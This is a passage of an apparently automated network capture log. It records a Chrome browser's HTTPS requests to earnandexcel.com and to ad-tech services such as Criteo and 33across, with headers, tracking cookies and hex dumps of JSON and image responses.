3b 4e d7 46 6f 7b 72 15 d9 8a e6 dc 27 38 e1 94 b8 9e 14 f6 39 8e b0 78 02 Data Ascii: .>zhnwer3eJ.\|D@B!/\|]?JMu9 vHr6!2<\yz$Zyl/*4{^1qFl55vobS8?UX]a]D/W,<T=yOQ{bmtPO]GXL-;NFo{r'89x
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 0a 84 88 40 0a 91 08 40 02 10 91 00 79 db dd 59 f1 a6 5b fd 0d 4f a5 1a a1 65 1b 0a be fd d5 7f 19 e5 af d0 d4 fd b1 aa 16 61 b1 6a e9 bf 48 c9 d5 7e b1 66 68 74 6b 60 58 b0 e4 9d a7 ff 00 14 eb 31 b4 a4 78 53 5e 85 c5 f0 ac 64 72 49 19 fa 8a 74 a8 db 52 ef 1a 9a a7 82 85 de 72 32 63 49 71 d8 b0 7c 66 e5 76 d3 d3 97 8d 60 2e 92 58 6c 4a d5 8b ca 38 2d 43 71 b5 e4 e4 a7 8c 89 14 86 8a e2 0b 04 d1 14 5d 92 7e a1 84 f0 22 e9 b3 78 43 2b f6 ec ec 6f a4 24 58 14 fb 43 6d 52 99 a2 88 82 9e a8 1b d8 15 4a d6 6d 68 d6 1e 07 61 15 c2 6a c5 a2 b4 6e d8 a4 cd a5 d9 b9 34 e2 f4 df 73 76 c5 97 09 77 36 ee a5 f2 b2 0b 14 5f 7d 6e e3 52 ca 08 4f 06 36 71 26 78 28 fe f9 b9 1c 6a 5b 41 48 38 31 b1 58 b2 65 0d 25 2f b9 c5 24 27 54 ec 51 9c 76 9c 96 9d 8a 79 25 20 d5 3b 14 Data Ascii: @@yY[OeajH~fhtk`X1xS^drItRr2cIq\|fv`.XlJ8-Cq]~"xC+o$XCmRJmhajn4svw6_}nRO6q&x(j[AH81Xe%/$'TQvy% ;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.17	50049	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	447	OUT	GET /sid/json?origin=prebid&topUrl=https%3A%2F%2Fearnandexcel.com%2F&domain=earnandexcel.com&lsw=1&us_privacy=1--- HTTP/1.1 Host: gum.criteo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:58 UTC	349	IN	HTTP/1.1 200 OK content-type: application/json; charset=utf-8 date: Thu, 11 Apr 2024 21:26:58 GMT server: Kestrel cache-control: no-cache, no-store, must-revalidate expires: 0 pragma: no-cache transfer-encoding: chunked server-processing-duration-in-ticks: 535616 strict-transport-security: max-age=31536000; preload; connection: close
2024-04-11 21:26:58 UTC	374	IN	Data Raw: 31 36 41 0d 0a 7b 22 62 75 6e 64 6c 65 22 3a 22 63 4e 52 53 5f 46 39 5a 51 55 4a 4f 4e 55 4e 7a 4d 44 42 30 57 57 64 43 59 33 70 43 4f 47 34 31 56 7a 42 6d 54 6e 68 6a 51 31 55 31 64 33 70 46 64 54 51 78 4d 32 5a 54 4a 54 4a 47 4e 46 70 77 4d 57 6b 7a 4f 47 4e 44 5a 56 68 6b 54 6b 4a 4f 57 6b 31 61 57 6c 5a 7a 54 46 4d 34 59 33 46 7a 4d 6e 5a 5a 4e 33 63 32 5a 6a 4e 68 54 57 4e 77 55 58 4a 4a 55 32 68 57 4e 7a 4a 36 4d 33 55 78 4f 54 4e 76 55 30 68 4a 61 57 63 79 57 69 55 79 51 69 55 79 52 6a 6c 6c 4e 31 70 6b 63 31 70 72 55 54 5a 4d 4d 47 39 48 4d 46 41 32 52 45 5a 45 4f 48 68 46 61 44 42 72 65 67 22 2c 22 62 69 64 49 64 22 3a 22 5f 32 48 6f 54 31 39 6e 4d 6b 59 32 4d 31 70 4d 52 31 42 74 52 30 35 6c 54 45 4a 57 61 44 4a 52 61 33 46 30 56 56 5a 48 54 54 Data Ascii: 16A{"bundle":"cNRS_F9ZQUJONUNzMDB0WWdCY3pCOG41VzBmTnhjQ1U1d3pFdTQxM2ZTJTJGNFpwMWkzOGNDZVhkTkJOWk1aWlZzTFM4Y3FzMnZZN3c2ZjNhTWNwUXJJU2hWNzJ6M3UxOTNvU0hJaWcyWiUyQiUyRjllN1pkc1prUTZMMG9HMFA2REZEOHhFaDBreg","bidId":"_2HoT19nMkY2M1pMR1BtR05lTEJWaDJRa3F0VVZHTT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.17	50050	35.244.193.51	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	506	OUT	GET /v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1---&b=1&g=D1TVST8cQWk2jXhq4d%2BoFv4qc3HkEWj1Ucmv5%2BgElAY%3D HTTP/1.1 Host: lexicon.33across.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true
2024-04-11 21:26:58 UTC	257	IN	HTTP/1.1 200 OK cache-control: private, must-revalidate, max-age=28800 content-type: application/json Content-Length: 42 via: 1.1 google date: Thu, 11 Apr 2024 21:26:58 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:58 UTC	42	IN	Data Raw: 7b 22 73 75 63 63 65 65 64 65 64 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 22 3a 22 43 6f 6f 6b 69 65 64 20 55 73 65 72 22 7d Data Ascii: {"succeeded":false,"error":"Cookied User"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.17	50051	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	837	OUT	OPTIONS /sid/json?origin=prebid&topUrl=https%3A%2F%2Fearnandexcel.com%2F&domain=earnandexcel.com&bundle=AgxCM19OMTU3WG1Nak5XeHJCS1Q0ejlLWVFuJTJCdm1Uc0E3R0diSUJwQTJEZHBqSDJpTWVraU9wMnA2NW9sbHlhejNUUmRIQXB0VDhyN0Y4OEcyTWpGVW1jNVN6b2Rqb3NJU1VEWmpya2ZSY1pVQkZNUm1ScEdkVmRxclRkTlZjSyUyQjBVaEE&lsw=1&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid= HTTP/1.1 Host: gum.criteo.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://earnandexcel.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:59 UTC	523	IN	HTTP/1.1 200 OK content-type: application/json; charset=utf-8 date: Thu, 11 Apr 2024 21:26:58 GMT server: Kestrel access-control-allow-credentials: true access-control-allow-headers: content-type access-control-allow-methods: GET access-control-allow-origin: https://earnandexcel.com cache-control: no-cache, no-store, must-revalidate expires: 0 pragma: no-cache transfer-encoding: chunked server-processing-duration-in-ticks: 256779 strict-transport-security: max-age=31536000; preload; connection: close
2024-04-11 21:26:59 UTC	12	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2{}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.17	50055	35.244.193.51	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	718	OUT	GET /v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid= HTTP/1.1 Host: lexicon.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true
2024-04-11 21:26:59 UTC	366	IN	HTTP/1.1 200 OK vary: origin access-control-allow-credentials: true access-control-allow-origin: https://earnandexcel.com cache-control: private, must-revalidate, max-age=28800 content-type: application/json Content-Length: 42 via: 1.1 google date: Thu, 11 Apr 2024 21:26:59 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:59 UTC	42	IN	Data Raw: 7b 22 73 75 63 63 65 65 64 65 64 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 22 3a 22 43 6f 6f 6b 69 65 64 20 55 73 65 72 22 7d Data Ascii: {"succeeded":false,"error":"Cookied User"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.17	50057	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:59 UTC	2340	OUT	GET /wp-content/uploads/Power-BI-1-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
2024-04-11 21:26:59 UTC	909	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:59 GMT Content-Type: image/jpeg Content-Length: 16586 Connection: close CF-Ray: 872e0edc69537d02-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ef-40ca" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:23 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S%2BV%2BNzwhfpGFHIowtjuQO%2B2Fe2nzGxhIAMwZfGJ%2F9Kg9foY65aBp9OTlOdjilG9PoeK8tabFauauHbI8YaPGl4IshxJUlYXlWNWB8WLRXSZYTtnt5Udaa464ohXYE8H1O%2BA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:59 UTC	460	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 02 05 06 07 01 03 04 08 ff c4 00 55 10 00 01 03 02 02 04 07 0a 09 08 07 08 02 03 00 00 01 00 02 03 04 11 05 21 06 07 12 31 13 17 41 51 91 92 d1 14 15 16 22 52 54 61 71 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"U!1AQ"RTaq
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 7f ca 6a ba cb 4a d4 e7 59 61 b2 5b 95 7a 1a 4b 51 e7 6b 4b 59 b9 c7 7a e7 7b b3 59 74 a3 9d 69 73 c5 d2 b2 f9 59 8d 17 f3 1a e4 3e 31 5a ca 53 cf 8c 52 0a f3 52 7f 33 3d 1c 17 ca 84 12 b5 39 6d 21 20 85 b6 13 35 54 8d ce 59 59 7b ae 29 a3 de 9c dc cc 97 3c 91 5e eb a3 46 a9 ce af 46 e3 25 44 04 82 9b 25 84 c6 49 e4 52 39 60 bd d7 05 4d 30 70 21 76 30 d5 ec 79 9c c3 03 a4 ae b6 8d 6c 2b 73 5c b5 49 11 89 d6 29 4d 72 ec 53 9d d1 e5 aa 41 c5 d9 9b da 52 96 a6 94 b0 e5 b9 1a 1a 16 0a 50 39 24 5d 64 14 31 12 45 9c b6 c4 b5 bf 9d 2e 37 59 64 83 d6 87 6c 29 9b 53 82 40 c9 4c e9 23 6b a2 17 22 e1 40 e9 2a 0c 52 07 05 2a c2 eb 5c f1 6e 45 cc cc 29 c9 fc c8 ee e4 95 20 93 83 da 3c 16 31 a9 05 ed 03 20 b1 b5 fb 49 04 b7 9d 71 d2 de 7a 4d 1d c6 89 e6 23 72 d0 1c 5c Data Ascii: jJYa[zKQkKYz{YtisY>1ZSRR3=9m! 5TYY{)<^FF%D%IR9`M0p!v0yl+s\I)MrSARP9$]d1E.7Ydl)S@L#k"@R\nE) <1 IqzM#r\
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: dd 52 23 49 f1 9d dd f2 a9 f6 87 b5 64 e9 4e 34 c6 39 c3 11 ab 71 03 e0 b6 43 73 f7 ac b4 d1 ae 39 5c 93 da 5e fb 5b 2d 5a 5f 38 17 cd 51 4d d3 4c 7a df d2 e2 3e d0 a5 8d 33 c7 39 64 c4 3a eb 05 38 7f c8 db 3c b6 b3 56 4d 7d cb a5 f5 8c 00 9b dd 71 4d 50 e9 4e 7b b9 95 4a dd 35 c6 db cb 58 7d 65 6f 87 4c f1 b7 b4 b8 ca e8 c8 36 d9 7b 47 62 df 4e b5 34 f5 1c ea d9 2e 26 4b 5c 95 8b 45 93 96 6e 5d f4 cf db 00 e6 aa 68 f4 e7 19 8c fc 38 9d eb 63 7b 17 6c 1a cc c6 62 16 31 d3 3a dc ec ec 51 52 aa 92 b2 32 c2 65 35 69 4a f3 6a c5 b9 0b 72 5d d4 35 33 50 54 32 78 4d 9e d3 7f 5a a8 a1 d6 ee 25 1f c3 a1 a3 77 a8 38 7f 15 df 4d ae 8b 3d a2 a7 0a 6e c5 fc 67 46 f3 71 d2 b9 38 8a 53 9a b7 61 e9 f0 8e 34 f5 f6 9e 8b c3 34 c6 82 a2 30 2a 8b a0 90 6f ca e0 ac e3 3a 4f Data Ascii: R#IdN49qCs9\^[-Z_8QMLz>39d:8<VM}qMPN{J5X}eoL6{GbN4.&K\En]h8c{lb1:QR2e5iJjr]53PT2xMZ%w8M=ngFq8Sa440*o:O
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: d1 b1 51 af 51 2a 8d 1d 1c 3d 3f e9 a3 2d 6a 58 6a 53 5a b6 06 2d 4a aa 37 aa 66 b0 d4 a0 16 c0 c5 90 c5 97 2c 89 e4 98 ba 49 78 17 e7 f0 4e f4 eb 18 db 17 6e 7e a4 d2 18 96 dd b6 82 03 9c 07 a0 ad 53 9a 7a ee 6e a6 9c 75 12 0d 1a ac e1 69 36 09 cc 27 72 45 94 17 47 2b dd 16 60 e4 a4 9d dc f9 85 81 b7 a9 71 e1 55 68 d8 b7 17 d8 37 63 94 fd d7 51 b4 c7 64 dc 82 64 75 24 8c 77 8c db 80 a4 ef 65 c5 d7 33 a1 04 9c 95 4a 91 6d dc c9 6a 18 08 21 22 4f e8 dc 9e 65 a2 6b af 92 6f aa a1 70 04 30 aa b2 94 a3 b4 b0 ac d0 d6 5c 90 4a d9 2c 2f 8f e1 34 ae 67 3c 0e 55 af 9c 12 a9 5f 61 97 1c 93 0e 95 7e 83 c4 7f c3 4b ee 94 f8 4d c2 62 d2 cf d0 38 8f f8 69 7d d2 bb 99 6c f4 99 cb c7 c2 d1 67 97 da 6c e2 ac 0d 4e 3a fa 4d 0f ad de e9 55 e8 3b d5 81 a9 93 7d 27 87 d6 ef Data Ascii: QQ*=?-jXjSZ-J7f,IxNn~Sznui6'rEG+`qUh7cQddu$we3Jmj!"Oekop0\J,/4g<U_a~KMb8i}lglN:MU;}'
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 00 7e 00 e8 4a ef 4c 3e 40 e8 5c 77 96 c5 9b 39 79 2e d2 be 86 1a e0 2d 23 8d c7 28 09 6e 86 b9 c3 65 8e 20 73 90 a7 6e c2 21 3f 20 2c 77 a6 21 c8 b5 bc a6 0c c9 62 a6 42 19 45 5b 6f e9 0a c3 b0 ea d7 1c de 54 e4 61 91 8f 92 94 30 e8 f7 58 28 59 44 51 9a c5 c9 10 88 30 6a a7 3b 68 c8 eb 27 8a 3c 2a 73 6b b8 e4 a4 91 d0 c6 c3 b8 2e a8 e9 e3 6e e0 02 c6 79 4a 36 c7 1a ce 5c 3a 85 cc 68 b9 2b 97 4b 9b b1 a3 f8 8f f8 69 3d d2 9f 5a e6 31 bc 89 83 4c 25 0e c0 31 20 3c d6 4f 74 ae ee 59 45 52 b2 38 99 9c 9d 48 b6 79 3d fb d5 83 a9 6f 8c f0 fa dd ee 15 5e 93 99 56 16 a5 be 33 43 eb 77 b8 57 47 3b fd be bf f0 97 a3 39 59 7f ea 69 f9 af 53 d0 28 42 17 e7 53 e9 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 08 42 Data Ascii: ~JL>@\w9y.-#(ne sn!? ,w!bBE[oTa0X(YDQ0j;h'<*sk.nyJ6\:h+Ki=Z1L%1 <OtYER8Hy=o^V3CwWG;9YiS(BS!!@B!!@B!!@B
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 75 a1 b9 ab 37 74 fb bb 7f da 35 aa f1 7f f6 f2 50 84 21 73 4d c0 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 01 5f 6b a3 2d 1e 83 eb 1d ee 95 e7 c2 57 a0 f5 d3 f1 7a 0f ac 77 ba bc f8 77 af b7 fc 15 fb 4c 3c df ab 3c 36 7b fa b7 e4 8b 93 54 12 6c e8 94 a6 fb aa 9f f8 35 4c 45 63 b6 ac 2e a2 1a 92 a7 e1 b4 26 73 cd 54 ff 00 75 aa 5f 25 37 06 c2 57 7e 2a 55 1b 35 c6 31 8c 52 b1 bd b5 79 7c 3b 2c 9a bb 7e b0 26 98 dd c2 19 1b b5 62 06 49 8a 7c 73 81 95 d1 97 e6 0d 8a ad 51 ce 0e cc da 94 1a 26 06 b0 7d 22 53 1d 2c bf 02 e5 44 70 ec 54 55 d4 b6 30 fb 92 55 89 83 51 6d 30 12 d4 52 94 8d 73 94 22 36 70 55 3e 4b 96 44 55 3e 4b 94 ca 3c 2d ae 6d f6 50 70 96 f9 2b 64 69 c9 f6 95 e5 5e dd 84 9a 60 5b 7f 14 a8 b6 98 ca 05 3c 0c 3f 08 b8 95 33 9e bb 0d 11 17 99 6f Data Ascii: u7t5P!sM!!@B!_k-WzwwL<<6{Tl5LEc.&sTu_%7W~*U51Ry\|;,~&bI\|sQ&}"S,DpTU0UQm0Rs"6pU>KDU>K<-mPp+di^`[<?3o
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: d1 74 d6 db 14 f6 39 86 3b 46 30 9c 07 48 a3 c7 25 c4 ea 62 74 3c 15 05 63 84 8d f1 80 f8 03 90 85 28 95 c5 fa e6 a0 79 69 69 76 14 49 1c db d4 83 0e d5 de 8b 61 55 4c aa a5 c2 21 6c d1 9b b1 cf 2e 7e c9 e7 01 c4 a7 47 60 38 73 f1 96 63 4e a7 06 bd 91 70 2d 9b 68 e4 ce 6b 5e ca e5 7c de 8c ee b5 b7 a3 25 76 92 fc db 15 93 d8 b7 ed d6 6a 86 1e 4b ee b8 1d e8 42 17 9b 2e 82 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 05 7b ae 9f 8b d0 7d 63 bd d2 bc fa 5c 01 5e 83 d7 47 c5 e8 3e b1 de e9 5e 7a 93 25 f6 ff 00 82 bf 69 87 9b f5 3c 36 7b fa b7 e4 8b db 50 f1 81 a1 35 80 9b da ad c3 ff 00 16 a9 7d 6b 47 73 3a ca 21 a8 97 5b 42 eb bf c6 3b dc 6a 93 d7 54 5a 9d c0 0b 95 ea 30 8b e6 97 99 a1 bf 96 37 dc 43 ea 71 49 29 aa 25 63 40 39 15 55 e9 0e 3f 56 dc 62 a3 60 Data Ascii: t9;F0H%bt<c(yiivIaUL!l.~G`8scNp-hk^\|%vjKB.!!@B{}c\^G>^z%i<6{P5}kGs:![B;jTZ07CqI)%c@9U?Vb`
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: 53 4d 1e 4a b6 2e a7 28 d2 63 fe 1d a5 53 f0 c2 ed 6e ca 99 53 e2 cf 96 10 e0 e0 32 55 7d 19 b4 8a 59 87 54 91 4e 05 f7 2d 15 70 f1 6a e6 cc 3e 61 56 13 d1 93 ba 1f a7 c4 9e 1a 7c 75 aa 0a 99 24 0e 25 c5 37 07 97 8c d3 8d 0c 47 64 e4 b4 28 a8 22 da af 3a b2 bd c7 cb e4 9a 71 67 1e 09 c9 d0 ee 4d 58 af f4 6e 5c fa 7b 4b d5 bf 2b 22 31 ff 00 5f 19 f2 a9 ae 18 6d 18 50 c8 db f9 dd fd 2a 5d 87 38 88 c0 f4 2b 75 9d d2 39 98 08 e8 b9 0e 6f 7f 88 73 51 ec 5e 40 03 93 c4 92 1d 92 a3 58 dc c4 02 a2 82 d6 6e c7 54 b5 36 71 e1 cf bc e7 d6 a5 d4 6e fc 9f d8 a1 38 6b cf 74 85 32 a2 3e 27 d8 b6 62 76 95 72 b9 7c 87 36 26 7c 47 28 06 92 f8 b8 66 25 f5 0f fc 0a 9f 62 5f 05 ca 03 a5 1f a2 b1 1f a8 7f e0 54 61 de d3 3c 66 b9 c3 cd 7a 94 e3 37 05 64 ea 77 f4 f4 3f bc 7d d2 Data Ascii: SMJ.(cSnS2U}YTN-pj>aV\|u$%7Gd(":qgMXn\{K+"1_mP*]8+u9osQ^@XnT6qn8kt2>'bvr\|6&\|G(f%b_Ta<fz7dw?}
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: fc c6 0e bb bb 13 a9 99 b7 87 c5 7b 8e 99 c2 77 b8 32 dc 42 a8 f8 fa 8f cc 60 eb bb b1 1c 7d c5 e6 30 75 dd d8 9d 4d cd 7c 3e 2b dc 9e 99 c2 77 b8 32 dc 42 a8 f8 fa 8b cc 60 eb bb b1 63 8f b8 bc c6 0e bb bb 14 75 37 35 f0 f8 af 71 d3 18 4e f7 06 5b a8 55 17 1f 71 79 8c 1d 77 76 23 8f c8 bc c6 0e bb bb 13 a9 b9 af 86 be eb dc 74 c6 13 bd c1 96 ea 15 45 c7 e4 5e 63 07 5d dd 88 e3 f2 2f 32 83 ae ee c4 ea 6e 6b e1 f1 5e e3 a6 30 9d ee 0c b7 50 aa 1e 3f 62 f3 18 3a ee ec 40 d7 ec 47 e6 30 75 dd d8 9d 4d cd 7c 35 f7 5e e3 a6 30 bd ee 0c b7 90 aa 2e 3f 22 f3 18 3a ee ec 47 1f b0 f9 8c 3d 77 76 27 53 73 5f 0d 7d d7 b8 e9 8c 27 7b 83 2d d4 2a 87 8f d8 7c c6 1e bb bb 11 c7 ec 3e 63 0f 5d dd 89 d4 dc d7 c3 5f 75 ee 3a 63 0b de e0 cb 79 0a a1 e3 f6 1f 31 87 ae ee c5 Data Ascii: {w2B`}0uM\|>+w2B`cu75qN[Uqywv#tE^c]/2nk^0P?b:@G0uM\|5^0.?":G=wv'Ss_}'{-*\|>c]_u:cy1
2024-04-11 21:26:59 UTC	1369	IN	Data Raw: b1 f1 b8 96 e6 05 9d ca 55 cc 3e 3a 75 1e 8e cb 95 6b 65 54 a1 f3 ed b6 b2 94 c4 34 56 42 c3 2e 19 8a 53 54 34 fe ae 5b 35 dd 3b 94 52 ad 98 95 14 a6 2a 88 36 1c 3d 17 07 ed 5b 19 89 62 0c 71 01 8d 21 2a 4c 6e 66 0b 4f 0b 0f ac ad b0 ba d5 2a 8d 9b e5 77 ae 34 d7 dc 99 ea 8b 42 e1 d3 6a fa f6 e2 13 4d 04 74 b1 35 cd e0 83 73 2e 3c b7 07 99 5a 47 52 78 2b bf b4 2b 7a b1 ff 00 2a 83 ea 47 4c 28 30 c3 8c c9 54 c6 b0 b9 b0 db c7 0d 16 1b 5c fe b5 62 bb 5b 78 03 5c 40 7c 27 ff 00 d9 6a a9 5a b3 53 69 4a e5 8a 74 53 8a 72 47 19 d4 8e 0c 7f b4 6b 7a b1 ff 00 2a c7 12 78 28 16 ef 85 77 56 3f e5 5d 92 6b 7b 04 8c d9 fc 03 72 dc ea 80 0f e0 b5 f1 c5 81 bb 26 9a 63 7e 6a 96 9f e0 b5 72 d2 de 65 c8 c3 72 39 b8 95 c1 47 cf eb ba 23 fe 54 9e 25 b0 4c ff 00 3e ae ff 00 Data Ascii: U>:ukeT4VB.ST4[5;R6=[bq!LnfOw4BjMt5s.<ZGRx++zGL(0T\b[x\@\|'jZSiJtSrGkz*x(wV?]k{r&c~jrer9G#T%L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.17	50058	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
